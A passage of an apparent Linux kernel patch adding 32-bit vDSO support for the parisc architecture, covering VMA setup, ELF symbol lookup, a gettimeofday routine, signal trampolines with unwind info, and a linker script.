+	DBG("vdso_vma_nopage(current: %s, address: %016lx, off: %lx)\n",
+	    current->comm, address, offset);
+
+	if (address < vma->vm_start || address > vma->vm_end)
+		return NOPAGE_SIGBUS;
+
+	/*
+	 * Last page is systemcfg.
+	 */
+	if ((vma->vm_end - address) <= PAGE_SIZE)
+		pg = virt_to_page(vdso_data);
+	else
+		pg = virt_to_page(vbase + offset);
+
+	get_page(pg);
+	DBG(" ->page count: %d\n", page_count(pg));
+
+	return pg;
+}
+
+static struct vm_operations_struct vdso_vmops = {
+	.close	= vdso_vma_close,
+	.nopage	= vdso_vma_nopage,
+};
+
+/*
+ * This is called from binfmt_elf, we create the special vma for the
+ * vDSO and insert it into the mm struct tree
+ */
+int arch_setup_additional_pages(struct linux_binprm *bprm,
+				int executable_stack)
+{
+	struct mm_struct *mm = current->mm;
+	struct vm_area_struct *vma;
+	unsigned long vdso_pages;
+	unsigned long vdso_base;
+	int rc;
+
+#ifdef CONFIG_64BIT_BROKEN
+	if (test_thread_flag(TIF_32BIT)) {
+		vdso_pages = vdso32_pages;
+		vdso_base = VDSO32_MBASE;
+	} else {
+		vdso_pages = vdso64_pages;
+		vdso_base = VDSO64_MBASE;
+	}
+#else
+	vdso_pages = vdso32_pages;
+	vdso_base = VDSO32_MBASE;
+#endif
+
+	current->mm->context.vdso_base = 0;
+
+	/* vDSO has a problem and was disabled, just don't "enable" it for the
+	 * process
+	 */
+	if (vdso_pages == 0)
+		return 0;
+	/* Add a page to the vdso size for the data page */
+	vdso_pages ++;
+
+	/*
+	 * pick a base address for the vDSO in process space. We try to put it
+	 * at vdso_base which is the "natural" base for it, but we might fail
+	 * and end up putting it elsewhere.
+	 */
+	down_write(&mm->mmap_sem);
+	vdso_base = get_unmapped_area(NULL, vdso_base,
+				      vdso_pages << PAGE_SHIFT, 0, 0);
+	if (IS_ERR_VALUE(vdso_base)) {
+		rc = vdso_base;
+		goto fail_mmapsem;
+	}
+
+
+	/* Allocate a VMA structure and fill it up */
+	vma = kmem_cache_zalloc(vm_area_cachep, SLAB_KERNEL);
+	if (vma == NULL) {
+		rc = -ENOMEM;
+		goto fail_mmapsem;
+	}
+	vma->vm_mm = mm;
+	vma->vm_start = vdso_base;
+	vma->vm_end = vma->vm_start + (vdso_pages << PAGE_SHIFT);
+
+	/*
+	 * our vma flags don't have VM_WRITE so by default, the process isn't
+	 * allowed to write those pages.
+	 * gdb can break that with ptrace interface, and thus trigger COW on
+	 * those pages but it's then your responsibility to never do that on
+	 * the "data" page of the vDSO or you'll stop getting kernel updates
+	 * and your nice userland gettimeofday will be totally dead.
+	 * It's fine to use that for setting breakpoints in the vDSO code
+	 * pages though
+	 */
+	vma->vm_flags = VM_READ|VM_EXEC|VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC;
+	vma->vm_flags |= mm->def_flags;
+	vma->vm_page_prot = protection_map[vma->vm_flags & 0x7];
+	vma->vm_ops = &vdso_vmops;
+
+	/* Insert new VMA */
+	rc = insert_vm_struct(mm, vma);
+	if (rc)
+		goto fail_vma;
+
+	/* Put vDSO base into mm struct and account for memory usage */
+	current->mm->context.vdso_base = vdso_base;
+	mm->total_vm += (vma->vm_end - vma->vm_start) >> PAGE_SHIFT;
+	up_write(&mm->mmap_sem);
+	return 0;
+
+ fail_vma:
+	kmem_cache_free(vm_area_cachep, vma);
+ fail_mmapsem:
+	up_write(&mm->mmap_sem);
+	return rc;
+}
+
+const char *arch_vma_name(struct vm_area_struct *vma)
+{
+	if (vma->vm_mm && vma->vm_start == vma->vm_mm->context.vdso_base)
+		return "[vdso]";
+	return NULL;
+}
+
+
+
+static void * __init find_section32(Elf32_Ehdr *ehdr, const char *secname,
+				  unsigned long *size)
+{
+	Elf32_Shdr *sechdrs;
+	unsigned int i;
+	char *secnames;
+
+	/* Grab section headers and strings so we can tell who is who */
+	sechdrs = (void *)ehdr + ehdr->e_shoff;
+	secnames = (void *)ehdr + sechdrs[ehdr->e_shstrndx].sh_offset;
+
+	/* Find the section they want */
+	for (i = 1; i < ehdr->e_shnum; i++) {
+		if (strcmp(secnames+sechdrs[i].sh_name, secname) == 0) {
+			if (size)
+				*size = sechdrs[i].sh_size;
+			return (void *)ehdr + sechdrs[i].sh_offset;
+		}
+	}
+	*size = 0;
+	return NULL;
+}
+
+static Elf32_Sym * __init find_symbol32(struct lib32_elfinfo *lib,
+					const char *symname)
+{
+	unsigned int i;
+	char name[MAX_SYMNAME], *c;
+
+	for (i = 0; i < (lib->dynsymsize / sizeof(Elf32_Sym)); i++) {
+		if (lib->dynsym[i].st_name == 0)
+			continue;
+		strlcpy(name, lib->dynstr + lib->dynsym[i].st_name,
+			MAX_SYMNAME);
+		c = strchr(name, '@');
+		if (c)
+			*c = 0;
+		if (strcmp(symname, name) == 0)
+			return &lib->dynsym[i];
+	}
+	return NULL;
+}
+
+/* Note that we assume the section is .text and the symbol is relative to
+ * the library base
+ */
+static unsigned long __init find_function32(struct lib32_elfinfo *lib,
+					    const char *symname)
+{
+	Elf32_Sym *sym = find_symbol32(lib, symname);
+
+	if (sym == NULL) {
+		printk(KERN_WARNING "vDSO32: function %s not found !\n",
+		       symname);
+		return 0;
+	}
+	return sym->st_value - VDSO32_LBASE;
+}
+
+#ifdef CONFIG_64BIT_BROKEN
+
+static void * __init find_section64(Elf64_Ehdr *ehdr, const char *secname,
+				  unsigned long *size)
+{
+	Elf64_Shdr *sechdrs;
+	unsigned int i;
+	char *secnames;
+
+	/* Grab section headers and strings so we can tell who is who */
+	sechdrs = (void *)ehdr + ehdr->e_shoff;
+	secnames = (void *)ehdr + sechdrs[ehdr->e_shstrndx].sh_offset;
+
+	/* Find the section they want */
+	for (i = 1; i < ehdr->e_shnum; i++) {
+		if (strcmp(secnames+sechdrs[i].sh_name, secname) == 0) {
+			if (size)
+				*size = sechdrs[i].sh_size;
+			return (void *)ehdr + sechdrs[i].sh_offset;
+		}
+	}
+	if (size)
+		*size = 0;
+	return NULL;
+}
+
+static Elf64_Sym * __init find_symbol64(struct lib64_elfinfo *lib,
+					const char *symname)
+{
+	unsigned int i;
+	char name[MAX_SYMNAME], *c;
+
+	for (i = 0; i < (lib->dynsymsize / sizeof(Elf64_Sym)); i++) {
+		if (lib->dynsym[i].st_name == 0)
+			continue;
+		strlcpy(name, lib->dynstr + lib->dynsym[i].st_name,
+			MAX_SYMNAME);
+		c = strchr(name, '@');
+		if (c)
+			*c = 0;
+		if (strcmp(symname, name) == 0)
+			return &lib->dynsym[i];
+	}
+	return NULL;
+}
+
+/* Note that we assume the section is .text and the symbol is relative to
+ * the library base
+ */
+static unsigned long __init find_function64(struct lib64_elfinfo *lib,
+					    const char *symname)
+{
+	Elf64_Sym *sym = find_symbol64(lib, symname);
+
+	if (sym == NULL) {
+		printk(KERN_WARNING "vDSO64: function %s not found !\n",
+		       symname);
+		return 0;
+	}
+#ifdef VDS64_HAS_DESCRIPTORS
+	return *((u64 *)(vdso64_kbase + sym->st_value - VDSO64_LBASE)) -
+		VDSO64_LBASE;
+#else
+	return sym->st_value - VDSO64_LBASE;
+#endif
+}
+
+#endif /* CONFIG_64BIT_BROKEN */
+
+
+static __init int vdso_do_find_sections(struct lib32_elfinfo *v32,
+					struct lib64_elfinfo *v64)
+{
+	void *sect;
+
+	/*
+	 * Locate symbol tables & text section
+	 */
+
+	v32->dynsym = find_section32(v32->hdr, ".dynsym", &v32->dynsymsize);
+	v32->dynstr = find_section32(v32->hdr, ".dynstr", NULL);
+	if (v32->dynsym == NULL || v32->dynstr == NULL) {
+		printk(KERN_ERR "vDSO32: required symbol section not found\n");
+		return -1;
+	}
+	sect = find_section32(v32->hdr, ".text", NULL);
+	if (sect == NULL) {
+		printk(KERN_ERR "vDSO32: the .text section was not found\n");
+		return -1;
+	}
+	v32->text = sect - vdso32_kbase;
+
+#ifdef CONFIG_64BIT_BROKEN
+	v64->dynsym = find_section64(v64->hdr, ".dynsym", &v64->dynsymsize);
+	v64->dynstr = find_section64(v64->hdr, ".dynstr", NULL);
+	if (v64->dynsym == NULL || v64->dynstr == NULL) {
+		printk(KERN_ERR "vDSO64: required symbol section not found\n");
+		return -1;
+	}
+	sect = find_section64(v64->hdr, ".text", NULL);
+	if (sect == NULL) {
+		printk(KERN_ERR "vDSO64: the .text section was not found\n");
+		return -1;
+	}
+	v64->text = sect - vdso64_kbase;
+#endif /* CONFIG_64BIT_BROKEN */
+
+	return 0;
+}
+
+static __init void vdso_setup_trampolines(struct lib32_elfinfo *v32,
+					  struct lib64_elfinfo *v64)
+{
+	/*
+	 * Find signal trampolines
+	 */
+
+#ifdef CONFIG_64BIT_BROKEN
+	vdso64_rt_sigtramp = find_function64(v64, "__kernel_sigtramp_rt64");
+#endif
+	vdso32_sigtramp	   = find_function32(v32, "__kernel_sigtramp32");
+	vdso32_rt_sigtramp = find_function32(v32, "__kernel_sigtramp_rt32");
+}
+
+static __init int vdso_fixup_datapage(struct lib32_elfinfo *v32,
+				       struct lib64_elfinfo *v64)
+{
+	Elf32_Sym *sym32;
+#ifdef CONFIG_64BIT_BROKEN
+	Elf64_Sym *sym64;
+
+       	sym64 = find_symbol64(v64, "__kernel_datapage_offset");
+	if (sym64 == NULL) {
+		printk(KERN_ERR "vDSO64: Can't find symbol "
+		       "__kernel_datapage_offset !\n");
+		return -1;
+	}
+	*((int *)(vdso64_kbase + sym64->st_value - VDSO64_LBASE)) =
+		(vdso64_pages << PAGE_SHIFT) -
+		(sym64->st_value - VDSO64_LBASE);
+#endif /* CONFIG_64BIT_BROKEN */
+
+	sym32 = find_symbol32(v32, "__kernel_datapage_offset");
+	if (sym32 == NULL) {
+		printk(KERN_ERR "vDSO32: Can't find symbol "
+		       "__kernel_datapage_offset !\n");
+		return -1;
+	}
+	*((int *)(vdso32_kbase + (sym32->st_value - VDSO32_LBASE))) =
+		(vdso32_pages << PAGE_SHIFT) -
+		(sym32->st_value - VDSO32_LBASE);
+
+	return 0;
+}
+
+static __init int vdso_setup(void)
+{
+	struct lib32_elfinfo	v32;
+	struct lib64_elfinfo	v64;
+
+	v32.hdr = vdso32_kbase;
+#ifdef CONFIG_64BIT_BROKEN
+	v64.hdr = vdso64_kbase;
+#endif
+	if (vdso_do_find_sections(&v32, &v64))
+		return -1;
+
+	if (vdso_fixup_datapage(&v32, &v64))
+		return -1;
+
+	vdso_setup_trampolines(&v32, &v64);
+
+	return 0;
+}
+
+/*
+ * Called from setup_arch to initialize the bitmap of available
+ * syscalls in the systemcfg page
+ */
+static void __init vdso_setup_syscall_map(void)
+{
+	unsigned int i;
+	extern unsigned long *sys_call_table;
+	extern unsigned long sys_ni_syscall;
+
+
+	for (i = 0; i < __NR_Linux_syscalls; i++) {
+#ifdef CONFIG_64BIT_BROKEN
+		if (sys_call_table[i*2] != sys_ni_syscall)
+			vdso_data->syscall_map_64[i >> 5] |=
+				0x80000000UL >> (i & 0x1f);
+		if (sys_call_table[i*2+1] != sys_ni_syscall)
+			vdso_data->syscall_map_32[i >> 5] |=
+				0x80000000UL >> (i & 0x1f);
+#else /* CONFIG_64BIT_BROKEN */
+		if (sys_call_table[i] != sys_ni_syscall)
+			vdso_data->syscall_map_32[i >> 5] |=
+				0x80000000UL >> (i & 0x1f);
+#endif /* CONFIG_64BIT_BROKEN */
+	}
+}
+
+
+void __init vdso_init(void)
+{
+	int i;
+
+#ifdef CONFIG_64BIT_BROKEN
+	/*
+	 * Calculate the size of the 64 bits vDSO
+	 */
+	vdso64_pages = (&vdso64_end - &vdso64_start) >> PAGE_SHIFT;
+	DBG("vdso64_kbase: %p, 0x%x pages\n", vdso64_kbase, vdso64_pages);
+#endif /* CONFIG_64BIT_BROKEN */
+
+
+	/*
+	 * Calculate the size of the 32 bits vDSO
+	 */
+	vdso32_pages = (&vdso32_end - &vdso32_start) >> PAGE_SHIFT;
+	DBG("vdso32_kbase: %p, 0x%x pages\n", vdso32_kbase, vdso32_pages);
+
+
+	/*
+	 * Setup the syscall map in the vDOS
+	 */
+	vdso_setup_syscall_map();
+	/*
+	 * Initialize the vDSO images in memory, that is do necessary
+	 * fixups of vDSO symbols, locate trampolines, etc...
+	 */
+	if (vdso_setup()) {
+		printk(KERN_ERR "vDSO setup failure, not enabled !\n");
+		vdso32_pages = 0;
+#ifdef CONFIG_64BIT_BROKEN
+		vdso64_pages = 0;
+#endif
+		return;
+	}
+
+	/* Make sure pages are in the correct state */
+	for (i = 0; i < vdso32_pages; i++) {
+		struct page *pg = virt_to_page(vdso32_kbase + i*PAGE_SIZE);
+		ClearPageReserved(pg);
+		get_page(pg);
+
+	}
+#ifdef CONFIG_64BIT_BROKEN
+	for (i = 0; i < vdso64_pages; i++) {
+		struct page *pg = virt_to_page(vdso64_kbase + i*PAGE_SIZE);
+		ClearPageReserved(pg);
+		get_page(pg);
+	}
+#endif /* CONFIG_64BIT_BROKEN */
+
+	get_page(virt_to_page(vdso_data));
+}
+
+int in_gate_area_no_task(unsigned long addr)
+{
+	return 0;
+}
+
+int in_gate_area(struct task_struct *task, unsigned long addr)
+{
+	return 0;
+}
+
+struct vm_area_struct *get_gate_vma(struct task_struct *tsk)
+{
+	return NULL;
+}
+
diff --git a/arch/parisc/kernel/vdso32/Makefile b/arch/parisc/kernel/vdso32/Makefile
new file mode 100644
index 0000000..89ab197
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/Makefile
@@ -0,0 +1,41 @@
+
+# List of files in the vdso, has to be asm only for now
+
+obj-vdso32 = gettimeofday.o note.o datapage.o sigtramp.o
+
+# Build rules
+
+#ifneq ($(CONFIG_64BIT),y)
+#CROSS32CC := $(CC)
+#endif
+
+targets := $(obj-vdso32) vdso32.so
+obj-vdso32 := $(addprefix $(obj)/, $(obj-vdso32))
+
+
+EXTRA_CFLAGS := -shared -s -fno-common -fno-builtin
+EXTRA_CFLAGS += -nostdlib -Wl,-soname=linux-vdso32.so.1 \
+		$(call ld-option, -Wl$(comma)--hash-style=sysv)
+EXTRA_AFLAGS := -D__VDSO32__ -s
+
+obj-y += vdso32_wrapper.o
+extra-y += vdso32.lds
+CPPFLAGS_vdso32.lds += -P -C -Uhppa
+
+# Force dependency (incbin is bad)
+$(obj)/vdso32_wrapper.o : $(obj)/vdso32.so
+
+# link rule for the .so file, .lds has to be first
+$(obj)/vdso32.so: $(src)/vdso32.lds $(obj-vdso32)
+	$(call if_changed,vdso32ld)
+
+# assembly rules for the .S files
+$(obj-vdso32): %.o: %.S
+	$(call if_changed_dep,vdso32as)
+
+# actual build commands
+quiet_cmd_vdso32ld = VDSO32L $@
+      cmd_vdso32ld = $(CROSS32CC) $(c_flags) -Wl,-T $^ -o $@
+quiet_cmd_vdso32as = VDSO32A $@
+      cmd_vdso32as = $(CROSS32CC) $(a_flags) -c -o $@ $<
+
diff --git a/arch/parisc/kernel/vdso32/datapage.S b/arch/parisc/kernel/vdso32/datapage.S
new file mode 100644
index 0000000..e9fdc59
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/datapage.S
@@ -0,0 +1,35 @@
+/*
+ * Access to the shared data page by the vDSO & syscall map
+ *
+ * Copyright (C) 2006 Randolph Chung <tausq@debian.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * version 2 as published by the Free Software Foundation.
+ */
+
+#include <asm/processor.h>
+#include <asm/asm-offsets.h>
+#include <asm/unistd.h>
+#include <asm/vdso.h>
+
+	.text
+	.globl __get_datapage
+	.type __get_datapage, @function
+__get_datapage:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+	/* We don't want that exposed or overridable as we want other objects
+	 * to be able to bl directly to here
+	 */
+	bl	.+12, %r1
+	depi	0, 31, 2, %r1
+	.global	__kernel_datapage_offset;
+__kernel_datapage_offset:
+	.long	0
+1:
+	bv	%r0(%r2)
+	ldw	0(%r1), %r28
+	.exit
+	.procend
diff --git a/arch/parisc/kernel/vdso32/gettimeofday.S b/arch/parisc/kernel/vdso32/gettimeofday.S
new file mode 100644
index 0000000..2cd753c
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/gettimeofday.S
@@ -0,0 +1,64 @@
+/*
+ * Userland implementation of gettimeofday() for 32 bits processes
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version
+ * 2 of the License, or (at your option) any later version.
+ */
+#include <asm/processor.h>
+#include <asm/vdso.h>
+#include <asm/asm-offsets.h>
+#include <asm/unistd.h>
+
+	.text
+/*
+ * Exact prototype of gettimeofday
+ *
+ * int __kernel_gettimeofday(struct timeval *tv, struct timezone *tz);
+ *
+ */
+	.globl __kernel_gettimeofday
+	.type __kernel_gettimeofday, @function
+__kernel_gettimeofday:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+	copy	%r2, %r1
+	bl	__get_datapage, %r2
+	nop
+	copy	%r1, %r2
+	ldw	VDSO_WTOM_CLOCK_SEC(%r28), %r20
+	ldw	VDSO_WTOM_CLOCK_NSEC(%r28), %r21
+	stw	%r20, TVAL32_TV_SEC(%r26)
+	cmpib,=	0, %r25, 1f		 /* Check if tz is NULL */
+	stw	%r21, TVAL32_TV_USEC(%r26) /* delay slot */
+
+	ldw	VDSO_TZ_MINUTEWEST(%r28), %r20
+	ldw	VDSO_TZ_DSTTIME(%r28), %r22
+	stw	%r20, TZONE_TZ_MINWEST(%r25)
+	stw	%r21, TZONE_TZ_DSTTIME(%r25)
+
+1:
+  	bv,n %r0(%r2)
+	.exit
+	.procend
+
+
+/*
+ * Exact prototype of clock_gettime()
+ *
+ * int __kernel_clock_gettime(clockid_t clock_id, struct timespec *tp);
+ *
+ */
+V_FUNCTION_BEGIN(__kernel_clock_gettime)
+	.globl __kernel_clock_gettime
+	.type __kernel_clock_gettime, @function
+__kernel_clock_gettime:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+	bv,n %r0(%r2)
+	.exit
+	.procend
+
diff --git a/arch/parisc/kernel/vdso32/note.S b/arch/parisc/kernel/vdso32/note.S
new file mode 100644
index 0000000..d4b5be4
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/note.S
@@ -0,0 +1,25 @@
+/*
+ * This supplies .note.* sections to go into the PT_NOTE inside the vDSO text.
+ * Here we can supply some information useful to userland.
+ */
+
+#include <linux/uts.h>
+#include <linux/version.h>
+
+#define ASM_ELF_NOTE_BEGIN(name, flags, vendor, type)			      \
+	.section name, flags;						      \
+	.balign 4;							      \
+	.long 1f - 0f;		/* name length */			      \
+	.long 3f - 2f;		/* data length */			      \
+	.long type;		/* note type */				      \
+0:	.asciz vendor;		/* vendor name */			      \
+1:	.balign 4;							      \
+2:
+
+#define ASM_ELF_NOTE_END						      \
+3:	.balign 4;		/* pad out section */			      \
+	.previous
+
+	ASM_ELF_NOTE_BEGIN(".note.kernel-version", "a", UTS_SYSNAME, 0)
+	.long LINUX_VERSION_CODE
+	ASM_ELF_NOTE_END
diff --git a/arch/parisc/kernel/vdso32/sigtramp.S b/arch/parisc/kernel/vdso32/sigtramp.S
new file mode 100644
index 0000000..005cfe2
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/sigtramp.S
@@ -0,0 +1,167 @@
+/*
+ * Signal trampolines for 32 bits processes.
+ *
+ * Copyright (C) 2006 Randolph Chung <tausq@debian.org>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version
+ * 2 of the License, or (at your option) any later version.
+ */
+#include <asm/processor.h>
+#include <asm/unistd.h>
+#include <asm/vdso.h>
+
+	.text
+
+/* The nop here is a hack.  The dwarf2 unwind routines subtract 1 from
+   the return address to get an address in the middle of the presumed
+   call instruction.  Since we don't have a call here, we artifically
+   extend the range covered by the unwind info by adding a nop before
+   the real start.  */
+	nop
+	.globl __kernel_sigtramp_rt32
+	.type __kernel_sigtramp_rt32, @function
+__kernel_sigtramp_rt32:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+.Lsigrt_start = . - 4
+	ble  0x100(%sr2, %r0)
+	ldi  __NR_rt_sigreturn, %r20
+.Lsigrt_end:
+	.exit
+	.procend
+
+	.section .eh_frame,"a",@progbits
+
+/* Register r1 can be found at offset 4 of a pt_regs structure.
+   A pointer to the pt_regs is stored in memory at the old sp plus PTREGS.  */
+#define cfa_save \
+  .byte 0x0f;			/* DW_CFA_def_cfa_expression */		\
+  .uleb128 9f - 1f;		/*   length */				\
+1:									\
+  .byte 0x71; .sleb128 PTREGS;	/*     DW_OP_breg1 */			\
+  .byte 0x06;			/*     DW_OP_deref */			\
+  .byte 0x23; .uleb128 RSIZE;	/*     DW_OP_plus_uconst */		\
+  .byte 0x06;			/*     DW_OP_deref */			\
+9:
+
+/* Register REGNO can be found at offset OFS of a pt_regs structure.
+   A pointer to the pt_regs is stored in memory at the old sp plus PTREGS.  */
+#define rsave(regno, ofs) \
+  .byte 0x10;			/* DW_CFA_expression */			\
+  .uleb128 regno;		/*   regno */				\
+  .uleb128 9f - 1f;		/*   length */				\
+1:									\
+  .byte 0x71; .sleb128 PTREGS;	/*     DW_OP_breg1 */			\
+  .byte 0x06;			/*     DW_OP_deref */			\
+  .ifne ofs;								\
+    .byte 0x23; .uleb128 ofs;	/*     DW_OP_plus_uconst */		\
+  .endif;								\
+9:
+
+/* This is where the pt_regs pointer can be found on the stack.  */
+#define PTREGS 64+28
+
+/* Size of regs.  */
+#define RSIZE 4
+
+/* Describe where general purpose regs are saved.  */
+#define EH_FRAME_GEN \
+  cfa_save;								\
+  rsave ( 0,  0*RSIZE);							\
+  rsave ( 2,  2*RSIZE);							\
+  rsave ( 3,  3*RSIZE);							\
+  rsave ( 4,  4*RSIZE);							\
+  rsave ( 5,  5*RSIZE);							\
+  rsave ( 6,  6*RSIZE);							\
+  rsave ( 7,  7*RSIZE);							\
+  rsave ( 8,  8*RSIZE);							\
+  rsave ( 9,  9*RSIZE);							\
+  rsave (10, 10*RSIZE);							\
+  rsave (11, 11*RSIZE);							\
+  rsave (12, 12*RSIZE);							\
+  rsave (13, 13*RSIZE);							\
+  rsave (14, 14*RSIZE);							\
+  rsave (15, 15*RSIZE);							\
+  rsave (16, 16*RSIZE);							\
+  rsave (17, 17*RSIZE);							\
+  rsave (18, 18*RSIZE);							\
+  rsave (19, 19*RSIZE);							\
+  rsave (20, 20*RSIZE);							\
+  rsave (21, 21*RSIZE);							\
+  rsave (22, 22*RSIZE);							\
+  rsave (23, 23*RSIZE);							\
+  rsave (24, 24*RSIZE);							\
+  rsave (25, 25*RSIZE);							\
+  rsave (26, 26*RSIZE);							\
+  rsave (27, 27*RSIZE);							\
+  rsave (28, 28*RSIZE);							\
+  rsave (29, 29*RSIZE);							\
+  rsave (30, 30*RSIZE);							\
+  rsave (31, 31*RSIZE);							\
+  rsave (67, 32*RSIZE);		/* ap, used as temp for nip */		\
+  rsave (65, 36*RSIZE);		/* lr */				\
+  rsave (70, 38*RSIZE)		/* cr */
+
+/* Describe where the FP regs are saved.  */
+#define EH_FRAME_FP \
+  rsave (32, 48*RSIZE +  0*8);						\
+  rsave (33, 48*RSIZE +  1*8);						\
+  rsave (34, 48*RSIZE +  2*8);						\
+  rsave (35, 48*RSIZE +  3*8);						\
+  rsave (36, 48*RSIZE +  4*8);						\
+  rsave (37, 48*RSIZE +  5*8);						\
+  rsave (38, 48*RSIZE +  6*8);						\
+  rsave (39, 48*RSIZE +  7*8);						\
+  rsave (40, 48*RSIZE +  8*8);						\
+  rsave (41, 48*RSIZE +  9*8);						\
+  rsave (42, 48*RSIZE + 10*8);						\
+  rsave (43, 48*RSIZE + 11*8);						\
+  rsave (44, 48*RSIZE + 12*8);						\
+  rsave (45, 48*RSIZE + 13*8);						\
+  rsave (46, 48*RSIZE + 14*8);						\
+  rsave (47, 48*RSIZE + 15*8);						\
+  rsave (48, 48*RSIZE + 16*8);						\
+  rsave (49, 48*RSIZE + 17*8);						\
+  rsave (50, 48*RSIZE + 18*8);						\
+  rsave (51, 48*RSIZE + 19*8);						\
+  rsave (52, 48*RSIZE + 20*8);						\
+  rsave (53, 48*RSIZE + 21*8);						\
+  rsave (54, 48*RSIZE + 22*8);						\
+  rsave (55, 48*RSIZE + 23*8);						\
+  rsave (56, 48*RSIZE + 24*8);						\
+  rsave (57, 48*RSIZE + 25*8);						\
+  rsave (58, 48*RSIZE + 26*8);						\
+  rsave (59, 48*RSIZE + 27*8);						\
+  rsave (60, 48*RSIZE + 28*8);						\
+  rsave (61, 48*RSIZE + 29*8);						\
+  rsave (62, 48*RSIZE + 30*8);						\
+  rsave (63, 48*RSIZE + 31*8)
+
+.Lcie:
+	.long .Lcie_end - .Lcie_start
+.Lcie_start:
+	.long 0			/* CIE ID */
+	.byte 1			/* Version number */
+	.string "zRS"		/* NUL-terminated augmentation string */
+	.uleb128 4		/* Code alignment factor */
+	.sleb128 -4		/* Data alignment factor */
+	.byte 2			/* Return address register column, ap */
+	.uleb128 1		/* Augmentation value length */
+	.byte 0x1b		/* DW_EH_PE_pcrel | DW_EH_PE_sdata4. */
+	.byte 0x0c,30,0		/* DW_CFA_def_cfa: r30 ofs 0 */
+	.balign 4
+.Lcie_end:
+
+	.long .Lfde0_end - .Lfde0_start
+.Lfde0_start:
+	.long .Lfde0_start - .Lcie	/* CIE pointer. */
+	.long .Lsigrt_start - .		/* PC start, length */
+	.long .Lsigrt_end - .Lsigrt_start
+	.uleb128 0			/* Augmentation */
+	EH_FRAME_GEN
+	EH_FRAME_FP
+	.balign 4
+.Lfde0_end:
diff --git a/arch/parisc/kernel/vdso32/vdso32.lds.S b/arch/parisc/kernel/vdso32/vdso32.lds.S
new file mode 100644
index 0000000..f3e6966
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/vdso32.lds.S
@@ -0,0 +1,111 @@
+
+/*
+ * This is the infamous ld script for the 32 bits vdso
+ * library
+ */
+#include <asm/vdso.h>
+
+/* Default link addresses for the vDSOs */
+OUTPUT_FORMAT("elf32-hppa-linux")
+OUTPUT_ARCH(hppa)
+ENTRY(_start)
+
+SECTIONS
+{
+  . = VDSO32_LBASE + SIZEOF_HEADERS;
+  .hash           : { *(.hash) }			:text
+  .gnu.hash       : { *(.gnu.hash) }
+  .dynsym         : { *(.dynsym) }
+  .dynstr         : { *(.dynstr) }
+  .gnu.version    : { *(.gnu.version) }
+  .gnu.version_d  : { *(.gnu.version_d) }
+  .gnu.version_r  : { *(.gnu.version_r) }
+
+  .note		  : { *(.note.*) } 			:text	:note
+
+  . = ALIGN (16);
+  .text :
+  {
+    *(.text .stub .text.* .gnu.linkonce.t.*)
+  }
+  PROVIDE (__etext = .);
+  PROVIDE (_etext = .);
+  PROVIDE (etext = .);
+
+  /* Other stuff is appended to the text segment: */
+  .rodata		: { *(.rodata .rodata.* .gnu.linkonce.r.*) }
+  .rodata1		: { *(.rodata1) }
+
+  .eh_frame_hdr		: { *(.eh_frame_hdr) }		:text	:eh_frame_hdr
+  .eh_frame		: { KEEP (*(.eh_frame)) }	:text
+  .gcc_except_table	: { *(.gcc_except_table) }
+  .fixup		: { *(.fixup) }
+
+  .dynamic		: { *(.dynamic) }		:text	:dynamic
+  .plt : { *(.plt) }
+  .got : { *(.got) }
+
+  _end = .;
+  __end = .;
+  PROVIDE (end = .);
+
+
+  /* Stabs debugging sections are here too
+   */
+  .stab 0 : { *(.stab) }
+  .stabstr 0 : { *(.stabstr) }
+  .stab.excl 0 : { *(.stab.excl) }
+  .stab.exclstr 0 : { *(.stab.exclstr) }
+  .stab.index 0 : { *(.stab.index) }
+  .stab.indexstr 0 : { *(.stab.indexstr) }
+  .comment 0 : { *(.comment) }
+  .debug 0 : { *(.debug) }
+  .line 0 : { *(.line) }
+
+  .debug_srcinfo 0 : { *(.debug_srcinfo) }
+  .debug_sfnames 0 : { *(.debug_sfnames) }
+
+  .debug_aranges 0 : { *(.debug_aranges) }
+  .debug_pubnames 0 : { *(.debug_pubnames) }
+
+  .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) }
+  .debug_abbrev 0 : { *(.debug_abbrev) }
+  .debug_line 0 : { *(.debug_line) }
+  .debug_frame 0 : { *(.debug_frame) }
+  .debug_str 0 : { *(.debug_str) }
+  .debug_loc 0 : { *(.debug_loc) }
+  .debug_macinfo 0 : { *(.debug_macinfo) }
+
+  .debug_weaknames 0 : { *(.debug_weaknames) }
+  .debug_funcnames 0 : { *(.debug_funcnames) }
+  .debug_typenames 0 : { *(.debug_typenames) }
+  .debug_varnames 0 : { *(.debug_varnames) }
+
+  /DISCARD/ : { *(.note.GNU-stack) }
+  /DISCARD/ : { *(.data .data.* .gnu.linkonce.d.* .sdata*) }
+  /DISCARD/ : { *(.bss .sbss .dynbss .dynsbss) }
+}
+
+
+PHDRS
+{
+  text PT_LOAD FILEHDR PHDRS FLAGS(5); /* PF_R|PF_X */
+  note PT_NOTE FLAGS(4); /* PF_R */
+  dynamic PT_DYNAMIC FLAGS(4); /* PF_R */
+  eh_frame_hdr 0x6474e550; /* PT_GNU_EH_FRAME, but ld doesn't match the name */
+}
+
+
+/*
+ * This controls what symbols we export from the DSO.
+ */
+VERSION
+{
+  VDSO_VERSION_STRING {
+    global:
+	__kernel_datapage_offset; /* Has to be there for the kernel to find */
+	__kernel_gettimeofday;
+	__kernel_clock_gettime;
+    local: *;
+  };
+}
diff --git a/arch/parisc/kernel/vdso32/vdso32_wrapper.S b/arch/parisc/kernel/vdso32/vdso32_wrapper.S
new file mode 100644
index 0000000..edd9e91
--- /dev/null
+++ b/arch/parisc/kernel/vdso32/vdso32_wrapper.S
@@ -0,0 +1,13 @@
+#include <linux/init.h>
+#include <asm/page.h>
+
+	.section ".data.page_aligned"
+
+	.globl vdso32_start, vdso32_end
+	.balign PAGE_SIZE
